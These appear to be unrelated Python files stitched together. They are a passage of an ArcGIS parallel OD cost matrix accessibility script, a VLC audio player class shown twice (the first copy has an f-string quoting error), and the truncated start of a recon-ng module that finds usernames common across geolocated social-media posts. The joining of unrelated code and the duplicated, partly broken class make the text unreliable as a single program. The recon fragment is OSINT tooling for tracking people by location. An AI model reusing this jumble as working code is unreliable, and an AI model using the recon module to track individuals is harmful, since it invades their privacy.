log_to_use.debug(msg)
for msg in warning_msgs:
log_to_use.warning(msg)
except arcpy.ExecuteError:
log_to_use.error(f"Error running geoprocessing tool {tool_name}.")
# First check if it's a tool error and if so, handle warning and error messages.
info_msgs = [msg for msg in arcpy.GetMessages(0).strip("\n").splitlines() if msg]
warning_msgs = [msg for msg in arcpy.GetMessages(1).strip("\n").splitlines() if msg]
error_msgs = [msg for msg in arcpy.GetMessages(2).strip("\n").splitlines() if msg]
for msg in info_msgs:
log_to_use.debug(msg)
for msg in warning_msgs:
log_to_use.warning(msg)
for msg in error_msgs:
log_to_use.error(msg)
raise
except Exception:
# Unknown non-tool error
log_to_use.error(f"Error running geoprocessing tool {tool_name}.")
errs = traceback.format_exc().splitlines()
for err in errs:
log_to_use.error(err)
raise
log_to_use.debug(f"Finished running geoprocessing tool {tool_name}.")
return result
class ODCostMatrix: # pylint:disable = too-many-instance-attributes
"""Used for solving an OD Cost Matrix problem in parallel for a designated chunk of the input datasets."""
def __init__(self, **kwargs):
"""Initialize the OD Cost Matrix analysis for the given inputs.
Expected arguments:
- origins
- destinations
- destination_where_clause
- network_data_source
- travel_mode
- time_units
- cutoff
- output_folder
- barriers
"""
self.origins = kwargs["origins"]
self.destinations = kwargs["destinations"]
self.destination_where_clause = kwargs["destination_where_clause"]
self.network_data_source = kwargs["network_data_source"]
self.travel_mode = kwargs["travel_mode"]
self.time_units = kwargs["time_units"]
self.cutoff = kwargs["cutoff"]
self.output_folder = kwargs["output_folder"]
self.barriers = []
if "barriers" in kwargs:
self.barriers = kwargs["barriers"]
# Create a job ID and a folder and scratch gdb for this job
self.job_id = uuid.uuid4().hex
self.job_folder = os.path.join(self.output_folder, self.job_id)
os.mkdir(self.job_folder)
self.od_workspace = os.path.join(self.job_folder, "scratch.gdb")
# Setup the class logger. Logs for each parallel process are not written to the console but instead to a
# process-specific log file.
self.log_file = os.path.join(self.job_folder, 'ODCostMatrix.log')
cls_logger = logging.getLogger("ODCostMatrix_" + self.job_id)
self.setup_logger(cls_logger)
self.logger = cls_logger
# Set up other instance attributes
self.is_service = AnalysisHelpers.is_nds_service(self.network_data_source)
self.od_solver = None
self.input_origins_layer = "InputOrigins" + self.job_id
self.input_destinations_layer = "InputDestinations" + self.job_id
self.input_origins_layer_obj = None
self.input_destinations_layer_obj = None
# Create a network dataset layer
self.nds_layer_name = "NetworkDatasetLayer"
if not self.is_service:
self._make_nds_layer()
self.network_data_source = self.nds_layer_name
# Prepare a dictionary to store info about the analysis results
self.job_result = {
"jobId": self.job_id,
"jobFolder": self.job_folder,
"solveSucceeded": False,
"solveMessages": "",
"logFile": self.log_file
}
# Get the ObjectID fields for origins and destinations
desc_origins = arcpy.Describe(self.origins)
desc_destinations = arcpy.Describe(self.destinations)
self.origins_oid_field_name = desc_origins.oidFieldName
self.destinations_oid_field_name = desc_destinations.oidFieldName
def _make_nds_layer(self):
"""Create a network dataset layer if one does not already exist."""
if self.is_service:
return
if arcpy.Exists(self.nds_layer_name):
self.logger.debug(f"Using existing network dataset layer: {self.nds_layer_name}")
else:
self.logger.debug("Creating network dataset layer...")
run_gp_tool(
arcpy.na.MakeNetworkDatasetLayer,
[self.network_data_source, self.nds_layer_name],
log_to_use=self.logger
)
def initialize_od_solver(self, time_of_day=None):
"""Initialize an OD solver object and set properties."""
# For a local network dataset, we need to checkout the Network Analyst extension license.
if not self.is_service:
arcpy.CheckOutExtension("network")
# Create a new OD cost matrix object
self.logger.debug("Creating OD Cost Matrix object...")
self.od_solver = arcpy.nax.OriginDestinationCostMatrix(self.network_data_source)
# Set the OD cost matrix analysis properties.
# Read properties from the CalculateAccessbilityMatrix_OD_config.py config file for all properties not set in
# the UI as parameters.
# OD properties documentation: https://pro.arcgis.com/en/pro-app/arcpy/network-analyst/odcostmatrix.htm
# The properties have been extracted to the config file to make them easier to find and set so users don't have
# to dig through the code to change them.
self.logger.debug("Setting OD Cost Matrix analysis properties from OD config file...")
for prop in OD_PROPS:
if prop in OD_PROPS_SET_BY_TOOL:
self.logger.warning(
f"OD config file property {prop} is handled explicitly by the tool parameters and will be ignored."
)
continue
try:
setattr(self.od_solver, prop, OD_PROPS[prop])
except Exception as ex: # pylint: disable=broad-except
self.logger.warning(f"Failed to set property {prop} from OD config file. Default will be used instead.")
self.logger.warning(str(ex))
# Set properties explicitly specified in the tool UI as arguments
self.logger.debug("Setting OD Cost Matrix analysis properties specified tool inputs...")
self.od_solver.travelMode = self.travel_mode
self.od_solver.timeUnits = self.time_units
self.od_solver.defaultImpedanceCutoff = self.cutoff
# Set time of day, which is passed in as an OD solve parameter from our chunking mechanism
self.od_solver.timeOfDay = time_of_day
# Ensure the travel mode has impedance units that are time-based.
self._validate_travel_mode()
def _validate_travel_mode(self):
"""Validate that the travel mode has time units.
Raises:
ValueError: If the travel mode's impedance units are not time based.
"""
# Get the travel mode object from the already-instantiated OD solver object. This saves us from having to parse
# the user's input travel mode from its string name, object, or json representation.
travel_mode = self.od_solver.travelMode
impedance = travel_mode.impedance
time_attribute = travel_mode.timeAttributeName
if impedance != time_attribute:
err = f"The impedance units of the selected travel mode {travel_mode.name} are not time based."
self.logger.error(err)
raise ValueError(err)
def solve(self, origins_criteria, destinations_criteria, time_of_day):
"""Create and solve an OD Cost Matrix analysis for the designated chunk of origins and destinations.
Args:
origins_criteria (list): Origin ObjectID range to select from the input dataset
destinations_criteria ([type]): Destination ObjectID range to select from the input dataset
time_of_day (datetime): Time of day for this solve
"""
# Select the origins and destinations to process
self._select_inputs(origins_criteria, destinations_criteria)
# Initialize the OD solver object
self.initialize_od_solver(time_of_day)
# Load the origins
self.logger.debug("Loading origins...")
origins_field_mappings = self.od_solver.fieldMappings(
arcpy.nax.OriginDestinationCostMatrixInputDataType.Origins,
True # Use network location fields
)
self.od_solver.load(
arcpy.nax.OriginDestinationCostMatrixInputDataType.Origins,
self.input_origins_layer_obj,
origins_field_mappings,
False
)
# Load the destinations
self.logger.debug("Loading destinations...")
destinations_field_mappings = self.od_solver.fieldMappings(
arcpy.nax.OriginDestinationCostMatrixInputDataType.Destinations,
True # Use network location fields
)
self.od_solver.load(
arcpy.nax.OriginDestinationCostMatrixInputDataType.Destinations,
self.input_destinations_layer_obj,
destinations_field_mappings,
False
)
# Load barriers
# Note: This loads ALL barrier features for every analysis, even if they are very far away from any of
# the inputs in the current chunk. You may want to select only barriers within a reasonable distance of the
# inputs, particularly if you run into the maximumFeaturesAffectedByLineBarriers,
# maximumFeaturesAffectedByPointBarriers, and maximumFeaturesAffectedByPolygonBarriers tool limits for portal
# solves. However, since barriers and portal solves with limits are unusual for this tool, deal with this only
# if it becomes a problem.
for barrier_fc in self.barriers:
self.logger.debug(f"Loading barriers feature class {barrier_fc}...")
shape_type = arcpy.Describe(barrier_fc).shapeType
if shape_type == "Polygon":
class_type = arcpy.nax.OriginDestinationCostMatrixInputDataType.PolygonBarriers
elif shape_type == "Polyline":
class_type = arcpy.nax.OriginDestinationCostMatrixInputDataType.LineBarriers
elif shape_type == "Point":
class_type = arcpy.nax.OriginDestinationCostMatrixInputDataType.PointBarriers
else:
self.logger.warning(
f"Barrier feature class {barrier_fc} has an invalid shape type and will be ignored."
)
continue
barriers_field_mappings = self.od_solver.fieldMappings(class_type, True)
self.od_solver.load(class_type, barrier_fc, barriers_field_mappings, True)
# Solve the OD cost matrix analysis
self.logger.debug("Solving OD cost matrix...")
solve_start = time.time()
solve_result = self.od_solver.solve()
solve_end = time.time()
self.logger.debug(f"Solving OD cost matrix completed in {round(solve_end - solve_start, 3)} (seconds).")
# Handle solve messages
solve_msgs = [msg[-1] for msg in solve_result.solverMessages(arcpy.nax.MessageSeverity.All)]
initial_num_msgs = len(solve_msgs)
for msg in solve_msgs:
self.logger.debug(msg)
# Remove repetitive messages so they don't clog up the stdout pipeline when running the tool
# 'No "Destinations" found for "Location 1" in "Origins".' is a common message that tends to be repeated and is
# not particularly useful to see in bulk.
# Note that this will not work for localized software when this message is translated.
common_msg_prefix = 'No "Destinations" found for '
solve_msgs = [msg for msg in solve_msgs if not msg.startswith(common_msg_prefix)]
num_msgs_removed = initial_num_msgs - len(solve_msgs)
if num_msgs_removed:
self.logger.debug(f"Repetitive messages starting with {common_msg_prefix} were consolidated.")
solve_msgs.append(f"No destinations were found for {num_msgs_removed} origins.")
solve_msgs = "\n".join(solve_msgs)
# Update the result dictionary
self.job_result["solveMessages"] = solve_msgs
if not solve_result.solveSucceeded:
self.logger.debug("Solve failed.")
return
self.logger.debug("Solve succeeded.")
self.job_result["solveSucceeded"] = True
# Read the results to discover all destinations reached by the origins in this chunk and store the output
# in a file
self.logger.debug("Logging OD Cost Matrix results...")
if use_arrow:
self.logger.debug("Writing OD outputs as Arrow table.")
solve_result.toArrowTable(
arcpy.nax.OriginDestinationCostMatrixOutputDataType.Lines,
["OriginOID", "DestinationOID"],
os.path.join(self.job_folder, "ODLines.at")
)
else:
self.logger.debug("Writing OD outputs as CSV file.")
with open(os.path.join(self.job_folder, "ODLines.csv"), "w") as f:
writer = csv.writer(f)
writer.writerow(["OriginOID", "DestinationOID"])
for row in solve_result.searchCursor(
arcpy.nax.OriginDestinationCostMatrixOutputDataType.Lines, ["OriginOID", "DestinationOID"]
):
writer.writerow(row)
self.logger.debug("Finished calculating OD cost matrix.")
def _select_inputs(self, origins_criteria, destinations_criteria):
"""Create layers from the origins and destinations so the layers contain only the desired inputs for the chunk.
Args:
origins_criteria (list): Origin ObjectID range to select from the input dataset
destinations_criteria ([type]): Destination ObjectID range to select from the input dataset
"""
# Select the origins with ObjectIDs in this range
self.logger.debug("Selecting origins for this chunk...")
origins_where_clause = (
f"{self.origins_oid_field_name} >= {origins_criteria[0]} "
f"AND {self.origins_oid_field_name} <= {origins_criteria[1]}"
)
self.input_origins_layer_obj = run_gp_tool(
arcpy.management.MakeFeatureLayer,
[self.origins, self.input_origins_layer, origins_where_clause],
log_to_use=self.logger
).getOutput(0)
# Select the destinations with ObjectIDs in this range subject to the global destination where clause
self.logger.debug("Selecting destinations for this chunk...")
destinations_where_clause = (
f"{self.destinations_oid_field_name} >= {destinations_criteria[0]} "
f"AND {self.destinations_oid_field_name} <= {destinations_criteria[1]}"
)
if self.destination_where_clause:
destinations_where_clause += f" AND {self.destination_where_clause}"
self.input_destinations_layer_obj = run_gp_tool(
arcpy.management.MakeFeatureLayer,
[self.destinations, self.input_destinations_layer, destinations_where_clause],
log_to_use=self.logger
).getOutput(0)
def setup_logger(self, logger_obj):
"""Set up the logger used for logging messages for this process. Logs are written to a text file.
Args:
logger_obj: The logger instance.
"""
logger_obj.setLevel(logging.DEBUG)
if len(logger_obj.handlers) <= 1:
file_handler = logging.FileHandler(self.log_file)
file_handler.setLevel(logging.DEBUG)
logger_obj.addHandler(file_handler)
formatter = logging.Formatter("%(process)d | %(message)s")
file_handler.setFormatter(formatter)
logger_obj.addHandler(file_handler)
def solve_od_cost_matrix(inputs, chunk):
"""Solve an OD Cost Matrix analysis for the given inputs for the given chunk of ObjectIDs.
Args:
inputs (dict): Dictionary of keyword inputs suitable for initializing the ODCostMatrix class
chunk (list): Represents the ObjectID ranges to select from the origins and destinations when solving the OD
Cost Matrix and the analysis start time of day. For example,
[[1, 1000], [4001, 5000], datetime.datetime(2021, 6, 6, 8, 0, 0)] means use origin OIDs 1-1000 and
destination OIDs 4001-5000 and a start time of 8:00 AM on June 6, 2021.
Returns:
dict: Dictionary of results from the ODCostMatrix class
"""
odcm = ODCostMatrix(**inputs)
odcm.logger.info((
f"Processing origins OID {chunk[0][0]} to {chunk[0][1]} and destinations OID {chunk[1][0]} to {chunk[1][1]} "
f"for start time {chunk[2]} as job id {odcm.job_id}"
))
odcm.solve(chunk[0], chunk[1], chunk[2])
return odcm.job_result
class ParallelODCalculator():
"""Solves a large OD Cost Matrix by chunking the problem, solving in parallel, and combining results."""
def __init__( # pylint: disable=too-many-locals, too-many-arguments
self, origins, destinations, network_data_source, travel_mode, max_origins, max_destinations,
time_window_start_day, time_window_start_time, time_window_end_day, time_window_end_time, time_increment,
max_processes, time_units, cutoff, weight_field=None, barriers=None
):
"""Compute OD Cost Matrices between Origins and Destinations in parallel for all increments in the time window,
calculate accessibility statistics, and write the output fields to the output Origins feature class.
This class assumes that the inputs have already been pre-processed and validated.
Args:
origins (str): Catalog path to origins
destinations (str): Catalog path to destinations
network_data_source (str): Network data source catalog path or URL
travel_mode (str): String-based representation of a travel mode (name or JSON)
max_origins (int): Maximum origins allowed in a chunk
max_destinations (int): Maximum destinations allowed in a chunk
time_window_start_day (str): English weekday name or YYYYMMDD date representing the weekday or start date of
the time window
time_window_start_time (str): HHMM time of day for the start of the time window
time_window_end_day (str): English weekday name or YYYYMMDD date representing the weekday or end date of
the time window
time_window_end_time (str): HHMM time of day for the end of the time window
time_increment (int): Number of minutes between each run of the OD Cost Matrix in the time window
max_processes (int): Maximum number of parallel processes allowed
time_units (str): String representation of time units
cutoff (float): Time cutoff to limit the OD Cost Matrix solve. Interpreted in the time_units.
weight_field (str, optional): Field in the destinations to use as a weight for the number of destinations
at each location. For example, the number of jobs at that location. When not provided, all destinations
count as 1.
barriers (list(str), optional): List of catalog paths to point, line, and polygon barriers to use.
Defaults to None.
"""
self.origins = origins
self.destinations = destinations
time_units = AnalysisHelpers.convert_time_units_str_to_enum(time_units)
if cutoff == "":
cutoff = None
if not barriers:
barriers = []
self.max_processes = max_processes
self.weight_field = weight_field
# Validate time window inputs and convert them into a list of times of day to run the analysis
try:
self.start_times = AnalysisHelpers.make_analysis_time_of_day_list(
time_window_start_day, time_window_end_day, time_window_start_time, time_window_end_time,
time_increment
)
except Exception as ex:
err = "Error parsing input time window."
LOGGER.error(err)
LOGGER.error(str(ex))
raise ValueError from ex
# Scratch folder to store intermediate outputs from the OD Cost Matrix processes
unique_id = uuid.uuid4().hex
self.scratch_folder = os.path.join(
arcpy.env.scratchFolder, "CalcAccMtx_" + unique_id) # pylint: disable=no-member
LOGGER.info(f"Intermediate outputs will be written to {self.scratch_folder}.")
os.mkdir(self.scratch_folder)
# Set up a where clause to eliminate destinations that will never contribute any values to the final solution.
# Only applies if we're using a weight field.
if self.weight_field:
self.dest_where = f"{self.weight_field} IS NOT NULL and {self.weight_field} <> 0"
else:
self.dest_where = ""
# Initialize the dictionary of inputs to send to each OD solve
self.od_inputs = {
"origins": self.origins,
"destinations": self.destinations,
"destination_where_clause": self.dest_where,
"network_data_source": network_data_source,
"travel_mode": travel_mode,
"output_folder": self.scratch_folder,
"time_units": time_units,
"cutoff": cutoff,
"barriers": barriers
}
# Construct OID ranges for chunks of origins and destinations
origin_ranges = self._get_oid_ranges_for_input(self.origins, max_origins)
destination_ranges = self._get_oid_ranges_for_input(self.destinations, max_destinations, self.dest_where)
# Construct chunks consisting of (range of origin oids, range of destination oids, start time)
self.chunks = itertools.product(origin_ranges, destination_ranges, self.start_times)
# Calculate the total number of jobs to use in logging
self.total_jobs = len(origin_ranges) * len(destination_ranges) * len(self.start_times)
def _validate_od_settings(self):
"""Validate OD cost matrix settings before spinning up a bunch of parallel processes doomed to failure."""
# Create a dummy ODCostMatrix object, initialize an OD solver object, and set properties. This allows us to
# detect any errors prior to spinning up a bunch of parallel processes and having them all fail.
LOGGER.debug("Validating OD Cost Matrix settings...")
odcm = None
try:
odcm = ODCostMatrix(**self.od_inputs)
odcm.initialize_od_solver()
LOGGER.debug("OD Cost Matrix settings successfully validated.")
except Exception:
LOGGER.error("Error initializing OD Cost Matrix analysis.")
errs = traceback.format_exc().splitlines()
for err in errs:
LOGGER.error(err)
raise
finally:
if odcm:
LOGGER.debug("Deleting temporary test OD Cost Matrix job folder...")
shutil.rmtree(odcm.job_result["jobFolder"], ignore_errors=True)
del odcm
@staticmethod
def _get_oid_ranges_for_input(input_fc, max_chunk_size, where=""):
"""Construct ranges of ObjectIDs for use in where clauses to split large data into chunks.
Args:
input_fc (str, layer): Data that needs to be split into chunks
max_chunk_size (int): Maximum number of rows that can be in a chunk
where (str, optional): Where clause to use to filter data before chunking. Defaults to "".
Returns:
list: list of ObjectID ranges for the current dataset representing each chunk. For example,
[[1, 1000], [1001, 2000], [2001, 2478]] represents three chunks of no more than 1000 rows.
"""
ranges = []
num_in_range = 0
current_range = [0, 0]
# Loop through all OIDs of the input and construct tuples of min and max OID for each chunk
# We do it this way and not by straight-up looking at the numerical values of OIDs to account
# for definition queries, selection sets, or feature layers with gaps in OIDs
for row in arcpy.da.SearchCursor(input_fc, "OID@", where): # pylint: disable=no-member
oid = row[0]
if num_in_range == 0:
# Starting new range
current_range[0] = oid
# Increase the count of items in this range and set the top end of the range to the current oid
num_in_range += 1
current_range[1] = oid
if num_in_range == max_chunk_size:
# Finishing up a chunk
ranges.append(current_range)
# Reset range trackers
num_in_range = 0
current_range = [0, 0]
# After looping, close out the last range if we still have one open
if current_range != [0, 0]:
ranges.append(current_range)
return ranges
def solve_od_in_parallel(self):
"""Solve the OD Cost Matrix in chunks and post-process the results."""
# Validate OD Cost Matrix settings. Essentially, create a dummy ODCostMatrix class instance and set up the
# solver object to ensure this at least works. Do this up front before spinning up a bunch of parallel
# processes that are guaranteed to all fail.
self._validate_od_settings()
# Compute OD cost matrix in parallel
LOGGER.info("Solving OD Cost Matrix chunks in parallel...")
completed_jobs = 0 # Track the number of jobs completed so far to use in logging
# Use the concurrent.futures ProcessPoolExecutor to spin up parallel processes that solve the OD cost
# matrices
with futures.ProcessPoolExecutor(max_workers=self.max_processes) as executor:
# Each parallel process calls the solve_od_cost_matrix() function with the od_inputs dictionary for the
# given origin and destination OID ranges and time of day.
jobs = {executor.submit(
solve_od_cost_matrix, self.od_inputs, chunks): chunks for chunks in self.chunks}
# As each job is completed, add some logging information and store the results to post-process later
for future in futures.as_completed(jobs):
completed_jobs += 1
LOGGER.info(
f"Finished OD Cost Matrix calculation {completed_jobs} of {self.total_jobs}.")
try:
# The OD cost matrix job returns a results dictionary. Retrieve it.
result = future.result()
except Exception:
# If we couldn't retrieve the result, some terrible error happened. Log it.
LOGGER.error("Failed to get OD Cost Matrix result from parallel processing.")
errs = traceback.format_exc().splitlines()
for err in errs:
LOGGER.error(err)
raise
# Log failed solves
if not result["solveSucceeded"]:
LOGGER.warning(f"Solve failed for job id {result['jobId']}")
msgs = result["solveMessages"]
LOGGER.warning(msgs)
# Calculate statistics from the results of the OD Cost Matrix calculations
# and write them to the output fields in the Origins table.
self._add_results_to_output()
# Cleanup
# Delete the job folders if the job succeeded
if DELETE_INTERMEDIATE_OD_OUTPUTS:
LOGGER.info("Deleting intermediate outputs...")
try:
shutil.rmtree(self.scratch_folder, ignore_errors=True)
except Exception: # pylint: disable=broad-except
# If deletion doesn't work, just throw a warning and move on. This does not need to kill the tool.
LOGGER.warning(f"Unable to delete intermediate OD Cost Matrix output folder {self.scratch_folder}.")
LOGGER.info("Finished calculating OD Cost Matrices.")
def _add_results_to_output(self):
"""Calculate accessibility statistics and write them to the Origins table."""
LOGGER.info("Calculating statistics for final output...")
# Read the result files from each individual OD and combine them together into a
# dataframe with the number of time each origin reached each destination
if use_arrow:
LOGGER.debug("Reading results into dataframe from Arrow tables...")
else:
LOGGER.debug("Reading results into dataframe from CSV files...")
t0 = time.time()
result_df = None
for job_dir in os.listdir(self.scratch_folder):
job_dir = os.path.join(self.scratch_folder, job_dir)
if use_arrow:
arrow_file = os.path.join(job_dir, "ODLines.at")
if not os.path.exists(arrow_file):
continue
with pa.memory_map(arrow_file, 'r') as source:
batch_reader = pa.ipc.RecordBatchFileReader(source)
chunk_table = batch_reader.read_all()
df = chunk_table.to_pandas(split_blocks=True, zero_copy_only=True)
else:
csv_file = os.path.join(job_dir, "ODLines.csv")
if not os.path.exists(csv_file):
continue
df = pd.read_csv(csv_file)
df["TimesReached"] = 1
df.set_index(["OriginOID", "DestinationOID"], inplace=True)
if result_df is None:
# Initialize the big combined dataframe if this is the first one
result_df = df
continue
# Add the current results dataframe to the big combined one and sum the number of times reached so
# far for each OD pair
result_df = pd.concat([result_df, df]).groupby(["OriginOID", "DestinationOID"]).sum()
del df
result_df.reset_index(inplace=True)
LOGGER.debug(f"Time to read all OD result files: {time.time() - t0}")
# Handle accounting for the actual number of destinations
if self.weight_field:
# Read in the weight field values and join them into the result table
LOGGER.debug("Joining weight field from destinations to results dataframe...")
with arcpy.da.SearchCursor( # pylint: disable=no-member
self.destinations, ["OID@", self.weight_field]) as cur:
w_df = pd.DataFrame(cur, columns=["DestinationOID", "Weight"])
# Calculate the total number of destinations based on weight and store this for later use
total_dests = w_df["Weight"].sum()
# Join the Weight field into the results dataframe
w_df.set_index("DestinationOID", inplace=True)
result_df = result_df.join(w_df, "DestinationOID")
del w_df
# We don't need this field anymore
result_df.drop(["DestinationOID"], axis="columns", inplace=True)
else:
# Count every row as 1 since we're not using a weight field
result_df["Weight"] = 1
# Set the total number of destinations to the number of rows in the destinations table.
total_dests = int(arcpy.management.GetCount(self.destinations).getOutput(0))
# Create the output dataframe indexed by the OriginOID
LOGGER.debug("Creating output dataframe indexed by OriginOID...")
unique = result_df["OriginOID"].unique()
output_df = pd.DataFrame(unique, columns=["OriginOID"])
del unique
output_df.set_index("OriginOID", inplace=True)
# Calculate the total destinations found for each origin using the weight field
LOGGER.debug("Calculating TotalDests and PercDests...")
output_df["TotalDests"] = result_df[result_df["TimesReached"] > 0].groupby("OriginOID")["Weight"].sum()
# Calculate the percentage of destinations reached
output_df["PercDests"] = 100.0 * output_df["TotalDests"] / total_dests
# Determine the TotalDests field type because this affects the output field type to use
if pd.api.types.is_integer_dtype(output_df["TotalDests"]):
num_dest_field_type = "LONG"
else:
num_dest_field_type = "DOUBLE"
# Calculate the number of destinations accessible at different thresholds
LOGGER.debug("Calculating the number of destinations accessible at different thresholds...")
field_defs = [["TotalDests", num_dest_field_type], ["PercDests", "DOUBLE"]]
for perc in range(10, 100, 10):
total_field = f"DsAL{perc}Perc"
perc_field = f"PsAL{perc}Perc"
field_defs += [[total_field, num_dest_field_type], [perc_field, "DOUBLE"]]
threshold = len(self.start_times) * perc / 100
output_df[total_field] = result_df[result_df["TimesReached"] >= threshold].groupby(
"OriginOID")["Weight"].sum()
output_df[perc_field] = 100.0 * output_df[total_field] / total_dests
# Fill empty cells with 0
output_df.fillna(0, inplace=True)
# Clean up
del result_df
# Append the calculated transit frequency statistics to the output feature class
LOGGER.debug("Writing data to output Origins...")
arcpy.management.AddFields(self.origins, field_defs)
fields = ["ObjectID"] + [f[0] for f in field_defs]
with arcpy.da.UpdateCursor(self.origins, fields) as cur: # pylint: disable=no-member
for row in cur:
oid = row[0]
try:
new_row = [oid] + output_df.loc[oid].to_list()
except KeyError:
# Fill null values with 0 where appropriate if the feature wasn't even in the dataframe.
new_row = [oid] + [0] * len(field_defs)
cur.updateRow(new_row)
LOGGER.info(f"Accessibility statistics fields were added to Origins table {self.origins}.")
def launch_parallel_od():
"""Read arguments passed in via subprocess and run the parallel OD Cost Matrix.
This script is intended to be called via subprocess via the CalculateAccessibilityMatrixInParallel.py module, which
does essential preprocessing and validation. Users should not call this script directly from the command line.
We must launch this script via subprocess in order to support parallel processing from an ArcGIS Pro script tool,
which cannot do parallel processing directly.
"""
# Create the parser
parser = argparse.ArgumentParser(description=globals().get("__doc__", ""), fromfile_prefix_chars='@')
# Define Arguments supported by the command line utility
# --origins parameter
help_string = "The full catalog path to the feature class containing the origins. Output fields will be added."
parser.add_argument("-o", "--origins", action="store", dest="origins", help=help_string, required=True)
# --destinations parameter
help_string = "The full catalog path to the feature class containing the destinations."
parser.add_argument("-d", "--destinations", action="store", dest="destinations", help=help_string, required=True)
# --network-data-source parameter
help_string = "The full catalog path to the network dataset or a portal url that will be used for the analysis."
parser.add_argument(
"-n", "--network-data-source", action="store", dest="network_data_source", help=help_string, required=True)
# --travel-mode parameter
help_string = (
"The name or JSON string representation of the travel mode from the network data source that will be used for "
"the analysis."
)
parser.add_argument("-tm", "--travel-mode", action="store", dest="travel_mode", help=help_string, required=True)
# --time-units parameter
help_string = "String name of the time units for the analysis. These units will be used in the output."
parser.add_argument("-tu", "--time-units", action="store", dest="time_units", help=help_string, required=True)
# --max-origins parameter
help_string = (
"Maximum number of origins that can be in one chunk for parallel processing of OD Cost Matrix solves. "
"For example, 1000 means that a chunk consists of no more than 1000 origins and max-destination destinations."
)
parser.add_argument(
"-mo", "--max-origins", action="store", dest="max_origins", type=int, help=help_string, required=True)
# --max-destinations parameter
help_string = (
"Maximum number of destinations that can be in one chunk for parallel processing of OD Cost Matrix solves. "
"For example, 1000 means that a chunk consists of no more than max-origin origins and 1000 destinations."
)
parser.add_argument(
"-md", "--max-destinations", action="store", dest="max_destinations", type=int, help=help_string, required=True)
# --max-processes parameter
help_string = "Maximum number parallel processes to use for the OD Cost Matrix solves."
parser.add_argument(
"-mp", "--max-processes", action="store", dest="max_processes", type=int, help=help_string, required=True)
# --time-window-start-day parameter
help_string = "Time window start day of week or YYYYMMDD date."
parser.add_argument("-twsd", "--time-window-start-day", action="store", dest="time_window_start_day",
help=help_string, required=True)
# --time-window-start-time parameter
help_string = "Time window start time as hh:mm."
parser.add_argument("-twst", "--time-window-start-time", action="store", dest="time_window_start_time",
help=help_string, required=True)
# --time-window-end-day parameter
help_string = "Time window end day of week or YYYYMMDD date."
parser.add_argument("-twed", "--time-window-end-day", action="store", dest="time_window_end_day",
help=help_string, required=True)
# --time-window-end-time parameter
help_string = "Time window end time as hh:mm."
parser.add_argument("-twet", "--time-window-end-time", action="store", dest="time_window_end_time",
help=help_string, required=True)
# --time-increment
help_string = "Time increment in minutes"
parser.add_argument("-ti", "--time-increment", action="store", dest="time_increment", type=int,
help=help_string, required=True)
# --cutoff parameter
help_string = (
"Impedance cutoff to limit the OD cost matrix search distance. Should be specified in the same units as the "
"time-units parameter"
)
parser.add_argument(
"-co", "--cutoff", action="store", dest="cutoff", type=float, help=help_string, required=True)
# --weight-field parameter
help_string = "The name of the field in the input destinations that indicates the destination's weight."
parser.add_argument(
"-wf", "--weight-field", action="store", dest="weight_field", help=help_string, required=False)
# --barriers parameter
help_string = "A list of catalog paths to the feature classes containing barriers to use in the OD Cost Matrix."
parser.add_argument(
"-b", "--barriers", action="store", dest="barriers", help=help_string, nargs='*', required=False)
# Get arguments as dictionary.
args = vars(parser.parse_args())
# Initialize a parallel OD Cost Matrix calculator class
od_calculator = ParallelODCalculator(**args)
# Solve the OD Cost Matrix in parallel chunks
start_time = time.time()
od_calculator.solve_od_in_parallel()
LOGGER.info(f"Parallel OD Cost Matrix calculation completed in {round((time.time() - start_time) / 60, 2)} minutes")
if __name__ == "__main__":
# This script should always be launched via subprocess as if it were being called from the command line.
launch_parallel_od()
|
import vlc
import datetime
class Player:
def __init__(self,vlc_log=False):
params = "--quiet"
if vlc_log:
params = f'--verbose=2 --file-logging --logfile=vlc-log_{datetime.datetime.now().strftime('%m%d%Y')}.txt'
self.instance = vlc.Instance(params) # --verbose 2 --quiet
self.player = self.instance.media_player_new()
self.listPlayer = self.instance.media_list_player_new()
self.status = "Not Playing"
def get_status(self):
return self.status
def get_volume(self):
volume = self.player.audio_get_volume()
if int(volume) < 0:
return "0"
else:
return volume
def set_volume(self,volume):
return self.player.audio_set_volume(volume)
def set_event_callback(self, callback):
events = self.player.event_manager()
events.event_attach(vlc.EventType.MediaPlayerEndReached, callback)
events.event_attach(vlc.EventType.MediaPlayerEncounteredError, callback)
def play_audio(self, url):
media = self.instance.media_new(url)
self.player.set_media(media)
self.player.play()
self.status = "Playing"
def stop_audio(self):
self.player.stop()
self.status = "Stopped"
def pause_audio(self):
if self.status == "Playing":
self.player.pause()
self.status = "Paused"
elif self.status == "Paused":
self.player.play()
self.status = "Playing"
elif self.status == "Stopped":
self.player.play()
self.status = "Playing"
if __name__ == "__main__":
pass | import vlc
import datetime
class Player:
def __init__(self,vlc_log=False):
params = "--quiet"
if vlc_log:
params = f'--verbose=2 --file-logging --logfile=vlc-log_{datetime.datetime.now().strftime("%m%d%Y")}.txt'
self.instance = vlc.Instance(params) # --verbose 2 --quiet
self.player = self.instance.media_player_new()
self.listPlayer = self.instance.media_list_player_new()
self.status = "Not Playing"
def get_status(self):
return self.status
def get_volume(self):
volume = self.player.audio_get_volume()
if int(volume) < 0:
return "0"
else:
return volume
def set_volume(self,volume):
return self.player.audio_set_volume(volume)
def set_event_callback(self, callback):
events = self.player.event_manager()
events.event_attach(vlc.EventType.MediaPlayerEndReached, callback)
events.event_attach(vlc.EventType.MediaPlayerEncounteredError, callback)
def play_audio(self, url):
media = self.instance.media_new(url)
self.player.set_media(media)
self.player.play()
self.status = "Playing"
def stop_audio(self):
self.player.stop()
self.status = "Stopped"
def pause_audio(self):
if self.status == "Playing":
self.player.pause()
self.status = "Paused"
elif self.status == "Paused":
self.player.play()
self.status = "Playing"
elif self.status == "Stopped":
self.player.play()
self.status = "Playing"
if __name__ == "__main__":
pass |
from recon.core.module import BaseModule
import codecs
import os
import re
import time
import webbrowser
import math
#import pdb
class Module(BaseModule):
meta = {
'name': 'Common Pushpin Usernames',
'author': '4ngryR4v3n - forked from the PushPin Report Generator module created by Tim Tomes (@lanmaster53)',
'version': '1.0',
'description': 'Finds the usernames that are common between locations.',
'required_keys': ['google_api'],
'options': (
('latitude', None, True, 'latitude of the epicenter'),
('longitude', None, True, 'longitude of the epicenter'),
('radius', None, True, 'radius from the epicenter in kilometers'),
('map_filename', os.path.join(BaseModule.workspace, 'pushpin_map.html'), True, 'path and filename for PushPin map report'),
('media_filename', os.path.join(BaseModule.workspace, 'pushpin_media.html'), True, 'path and filename for PushPin media report'),
('search_radius', 1, True, 'search radius from each location in locations table'),
('verbosity', 1, True, '(1)common users (2)+unique users per location (3)+pushpins per location')
),
